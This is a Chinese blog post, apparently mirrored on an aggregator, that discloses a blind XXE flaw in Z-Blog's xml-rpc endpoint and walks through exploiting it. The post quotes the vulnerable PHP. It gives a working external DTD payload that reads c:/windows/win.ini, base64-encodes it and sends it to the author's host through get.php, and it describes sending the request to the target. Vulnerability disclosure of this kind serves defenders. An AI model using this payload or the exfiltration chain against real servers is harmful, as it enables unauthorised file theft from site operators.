IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Z-BLOG Blind-XXE造成任意文件读取

    没穿底裤发表于 2015-06-09 01:49:05
    love 0

    下载最新版Z-Blog:http://bbs.zblogcn.com/thread-88670-1-1.html
    /zb_system/xml-rpc/index.php 641行:

    $zbp->Load();
    
    Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError');
    
    $xmlstring = file_get_contents( 'php://input' );
    
    //Logs($xmlstring);
    
    $xml = simplexml_load_string($xmlstring);

    可见,这里直接调用simple_load_string解析XML,造成了一个XML实体注入。
    但观察后面的代码发现,需要用户、密码才能执行一些操作,得到回显,否则会报错。
    没有回显的情况下,我们怎么来利用XXE,这里就说到一个blind xxe,在这篇文章都有详细的说明:
    http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html
    所以原理什么的我就不细说了,实际上我也是一知半解。主要看利用方法。
    先在我主机上放一个接收文件的php(http://mhz.pw/xxe/get.php):

    目的是将$_GET[‘xxe_local’]存入本地文件01.txt。然后再构造一个xml,也保存在我的主机上,这个XML实际上就是真正读取文件的XML:

    <!ENTITY % payload	SYSTEM	 "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
    
    <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://mhz.pw/xxe/get.php?xxe_local=%payload;'>">
    
    %int;
    
    %trick;</pre><p>我们看到这个XML,他引用了外部实体c:/windows/win.ini作为payload的值,然后又将payload拼接到http://mhz.pw/xxe/get.php?xxe_local=%payload;,进行HTTP请求。<br  />
    接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。<br  />
    然后,我们向/zb_system/xml-rpc/index.php发包,让它来加载上面这个XML:<br  />
    <a href="http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2015/06/xxe.png"><img alt="xxe" class="alignnone size-full wp-image-3218" height="552" src="http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2015/06/xxe.png" width="1358"  /></a><br  />
    发包过去后,就会请求我们的evil_php.xml,解析这个xml造成XXE攻击,读取c:/windows/win.ini并进行base64编码后传给get.php,最后保存在我们的主机上:<br  />
    <a href="http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2015/06/01.png"><img alt="01" class="alignnone size-full wp-image-3219" height="384" src="http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2015/06/01.png" width="2558"  /></a><br  />
    用Blind XXE造成一个任意文件读取漏洞。</p>


沪ICP备19023445号-2号
友情链接